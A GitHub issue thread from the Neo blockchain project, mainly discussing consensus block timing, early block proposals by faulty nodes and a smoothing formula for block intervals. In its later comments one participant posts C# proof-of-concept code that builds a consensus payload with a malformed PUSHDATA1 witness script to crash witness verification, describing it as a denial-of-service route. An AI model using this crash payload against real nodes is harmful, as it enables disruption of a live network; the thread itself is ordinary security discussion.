Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

discussion about block time #2918

Open
vang1ong7ang opened this issue Sep 22, 2023 · 11 comments
Open

discussion about block time #2918

vang1ong7ang opened this issue Sep 22, 2023 · 11 comments
Labels
discussion Initial issue state - proposed but not yet accepted

Comments

@vang1ong7ang
Copy link
Contributor

vang1ong7ang commented Sep 22, 2023

this is not an urgent problem, but it is easy to fix without introducing forks.

  1. any malicious consensus node is able to propose its block earlier (any time from 0 to 15s)

    the 1/3 fault nodes is able to speed up block generation by 33%, thereby increasing the annual supply of GAS by 33%

  2. although neo’s expected block time is 15 seconds, it actually takes 16 to 17 seconds sometimes even more.

    essentially it is because neo consensus nodes propose the next block 15s after the current block and the negotiation of consensus nodes and transaction execution take some extra time

    it is suggested to calculate the expected block proposing time as (N+1) * 15 - BLOCKTIME[CURRENT] + BLOCKTIME[CURRENT - N] where N is an positive integer (i.e 1, 8, 64, ...) and BLOCKTIME[BLOCKINDEX] is the block time at block height BLOCKINDEX

@vang1ong7ang
Copy link
Contributor Author

vang1ong7ang commented Sep 22, 2023

maybe it is better to use max(T, MIN_BLOCK_TIME) where T is (N+1) * 15 - BLOCKTIME[CURRENT] + BLOCKTIME[CURRENT - N]

@dusmart
Copy link

dusmart commented Sep 24, 2023

any malicious consensus node is able to propose its block earlier (any time from 0 to 15s)

Good point.
While it seems that no node want to do it earlier for now. They all want to pack more transactions to earn more network fee. Maybe that's why some nodes propose new blocks slower than 15s.

(N+1) * 15 - BLOCKTIME[CURRENT] + BLOCKTIME[CURRENT - N]

This is exactly a good smoothing solution.

@roman-khimov
Copy link
Contributor

Refs. #626, #1032, #1232, #1959, #2018 (this one especially), neo-project/neo-modules#799, nspcc-dev/dbft#55 (it even has a draft implementation in nspcc-dev/dbft#56). CC @igormcoelho, @vncoelho.

As for the first, it's hard to separate communication delays from premature proposal. This problem does deserve some attention, but it has some administrative solution though, the bad node can be voted out.

As for the second, I still think BLOCKTIME can't be used for any timer adjustments, it's just not a reliable source of time. The only property it has is that it moves forward and it's somehow related to the current time. Averaging it out for some period of time (like proposed) or implementing a scheme from #2018 can help, but it still can be manipulated by nodes and it won't be easy. Is it worth the trouble? Is there a possibility of reinventing NTP in the process? I don't know.

@Jim8y
Copy link
Contributor

Jim8y commented Sep 26, 2023

This problem does deserve some attention, but it has some administrative solution though, the bad node can be voted out.

I� love this one, but the problem here is how does people know who should be voted out~~~ we do not really monitor the behavior of the consensus nodes. Maybe add something to statistic those data

@roman-khimov
Copy link
Contributor

Sure, monitoring and some real per-node statistics is the key here (it can even be shown on governance.neo.org).

@cschuchardt88
Copy link
Member

cschuchardt88 commented Nov 11, 2023

Also you can DDOS the network with malicious script in consensus. If you know the consensus nodes IP... even better. I dont have the code atm ill have to find it. But I can tell you without a doubt it is possible and to relay to network. It has to do with the way you verify the consensus packets which allows a malicious script to be executed. And there is a way to get limited gas in the process for the vm.

@Jim8y Jim8y added the discussion Initial issue state - proposed but not yet accepted label Nov 12, 2023
@Jim8y
Copy link
Contributor

Jim8y commented Nov 12, 2023

@vncoelho @igormcoelho I think consensus is your battle field, please take a look.

@cschuchardt88
Copy link
Member

I forgot the script i used, but you could spoof everything but InvocationScript and run malicious (DDOS) script in see last. Yes i know this uses CallFlags.None and is limited, that doesn't stop you from running a script that eats memory and resources.

internal bool Verify(ProtocolSettings settings, DataCache snapshot, ISet<UInt160> extensibleWitnessWhiteList)
{
uint height = NativeContract.Ledger.CurrentIndex(snapshot);
if (height < ValidBlockStart || height >= ValidBlockEnd) return false;
if (!extensibleWitnessWhiteList.Contains(Sender)) return false;
return this.VerifyWitnesses(settings, snapshot, 0_06000000L);
}

And you can get to here to run scripts, same goes for transactions. Yes it will return false in the end. But think about it.

engine.LoadScript(invocationScript, configureState: p => p.CallFlags = CallFlags.None);

@cschuchardt88
Copy link
Member

cschuchardt88 commented Nov 12, 2023

Must use on testnet t5

Found the code

using var sb = new ScriptBuilder();
sb.Emit(OpCode.PUSHDATA1);

ExtensiblePayload payload = new()
{
    Category = "DDOS",
    Data = Array.Empty<byte>(),
    Sender = "NcScdqRaoE6DVzvGDBAnias9GTivdWfrDf".ToScriptHash(_ns.Settings.AddressVersion),
    ValidBlockStart = NativeContract.Ledger.CurrentIndex(_ns.StoreView) + 1,
    ValidBlockEnd = NativeContract.Ledger.CurrentIndex(_ns.StoreView) + _ns.Settings.MaxValidUntilBlockIncrement,
};

var col = Contract.CreateSignatureContract(ECPoint.Parse("034f7ea4ca4506ef288c5d5ed61686b9f39a0bc5f7670858305e32ea504ab543f3", ECCurve.Secp256r1));

payload.Witness = new Witness()
{
    InvocationScript = sb.ToArray(),
    VerificationScript = col.Script,
};
payload.VerifyWitnesses(_ns.Settings, _ns.GetSnapshot(), 0_06000000L) // Crashes

This is do to GetInstruction(i).Size crashes with ERROR [22:57:16.400] Index was outside the bounds of the array.

https://github.com/neo-project/neo-vm/blob/426e54d560c311f4b9831bed763332d031c2dac2/src/Neo.VM/Script.cs#L77

@roman-khimov
Copy link
Contributor

This particular issue is about block time. I'd keep it this way (although we have a number of similar ones already and probably can deduplicate a little), if there are any other problems you want to discuss, please open new ones.

@dusmart
Copy link

dusmart commented Nov 15, 2023

Also you can DDOS the network with malicious script in consensus. If you know the consensus nodes IP... even better. I dont have the code atm ill have to find it. But I can tell you without a doubt it is possible and to relay to network. It has to do with the way you verify the consensus packets which allows a malicious script to be executed. And there is a way to get limited gas in the process for the vm.

This is an interesting topic. Could you please open a new issue and let's discuss some details? I'm not sure if this kind of tx could be relayed. I thought that only senders in extensibleWitnessWhiteList could build a valid consensus tx. Plus, finding consensus nodes' IP is very very very difficult as far as I tried.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
discussion Initial issue state - proposed but not yet accepted
Projects
None yet
Development

No branches or pull requests

5 participants